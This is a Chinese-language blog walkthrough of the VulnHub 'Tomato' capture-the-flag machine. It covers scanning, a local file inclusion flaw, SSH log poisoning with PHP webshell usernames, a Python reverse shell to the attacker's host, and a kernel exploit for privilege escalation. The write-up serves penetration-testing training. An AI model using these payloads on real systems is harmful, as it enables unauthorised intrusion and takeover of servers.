VulnHub-Tomato靶机详细渗透过程

1.靶机部署

下载地址:https://drive.google.com/file/d/1EpagpWtgjqTGc80g9U_E09m3cI0si_8R/view?usp=sharing
打开VMware,在文件中选择打开:
image.png
找到靶机的ova文件,打开
image.png
输入靶机名称并选择存放地址:
image.png
等待导入:
image.png
编辑虚拟机设置:
image.png
配置自己给,网络模式我这里选择NAT,只要和kali在同一网段下即可:
image.png
开启虚拟机:
image.png
导入成功!!!

2.信息收集

2.1 探测靶机IP

使用netdiscover扫描一个段内存货的主机,得到主机的IP地址:

netdiscover

image.png

2.2 端口扫描

使用nmap对靶机进行详细的扫描:

nmap -A -T4 -p- 192.168.11.146

-A:使用所有高级扫描选项
-T4:设置时许,越高扫描越快
-p-:全端口扫描

image.png

2.3 敏感目录扫描

dirb http://192.168.11.146

image.png

2.4 信息收集总结

IP:192.168.11.146
开放端口:21、80、2211、8888
敏感目录:http://192.168.11.146/antibot_image/

3.渗透过程

3.1 漏洞发现

登录网站:
image.png
并未发现有用信息!!!
访问敏感目录:
image.png
发现一堆东西,但不知道干嘛的!!!
经过一番搜寻,在http://192.168.11.146/antibot_image/antibots/info.php页面,查看源代码发现东西。
image.png

3.2 文件包含漏洞利用

通过分析,该页面的源码中存在include,文件包含漏洞,我们尝试用该漏洞查看passwd文件,发现可以成功。

?image=../../../../../../../etc/passwd

image.png
既然可以查看密码文件,那我们尝试查看一下其他文件。
查看日志文件,日志文件记录了其他用户的一些操作,其中或许留有线索。

?image=../../../../../../../var/log/auth.log

image.png
发现该文件还记录了ssh登录的登录日志,无论登录成功与否都有记录,那么我们是否也可以使用这个机制写入一句一句话木马。

3.3 反弹shell-1

将一句话木马作为ssh登录的用户名,然后登陆,密码随便输入,这样日志文件就会记录该用户登录失败的日志,而该用户的用户名就是我们的一句话木马。

ssh '<?php @eval($_POST[pass]);?'@192.168.11.146 -p 2211

image.png
写入之后我们使用蚁剑进行连接:

URL地址:http://192.168.11.146/antibot_image/antibots/info.php?image=../../../../../../../var/log/auth.log
密码:pass

image.png
连接成功后打开终端:
image.png
image.png

3.4 反弹shell-2

除上面使用一句话木马的方法之外,我们还可以使用语言进行反弹shell,
写入一句话木马:

ssh '<?php echo system($_GET["jason"]); ?>'@192.168.11.146 -p 2211

image.png
命令执行成功,说明一句话木马写入成功:

http://192.168.11.146/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=id

image.png
kali开启监听:
image.png
浏览器输入反弹shell代码:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

浏览器代码:
http://192.168.11.146/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.11.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
image.png
反弹shell的方法还有很多,这里列举了两种,方法不限,我们的最终目的是拿到shell

3.5 生成可交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image.png

3.6 提权

查看系统内核版本:

uname -a

image.png
发现系统内核是:Linux ubuntu 4.4.0-21-generic,在kali中查找该系统内核的提权包:
image.png
这里不知道的话一个一个试,最后经过尝试得到可以使用45010,将次包下载下来:
image.png
因为此文件是一个C语言源码文件,需要编译才能够运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,在靶机上运行程序:
编译:

gcc 45010.c -o exp

image.png
将编译后的文件传输到目标靶机上:
我这里使用ftp服务的方式,kali开启ftp服务:
image.png
靶机下载:
注意:为了避免权限不足问题,我们可以在靶机的tmp文件中进行操作:
image.png
给予文件可执行权限:
image.png
执行文件:
image.png
不出意外的报错了!!!
这是因为最近我kali缺GLIBC_2.34,我的kali是2.36,2.34装了好久装不上,但是到这一步应该是成功了,后续我解决了这个问题会在此修正,如果你跟我一样,可以百度“GLIBC_2.34 not found”试着解决一下,也可以评论区教教我!!!
image.png

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小秋LY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值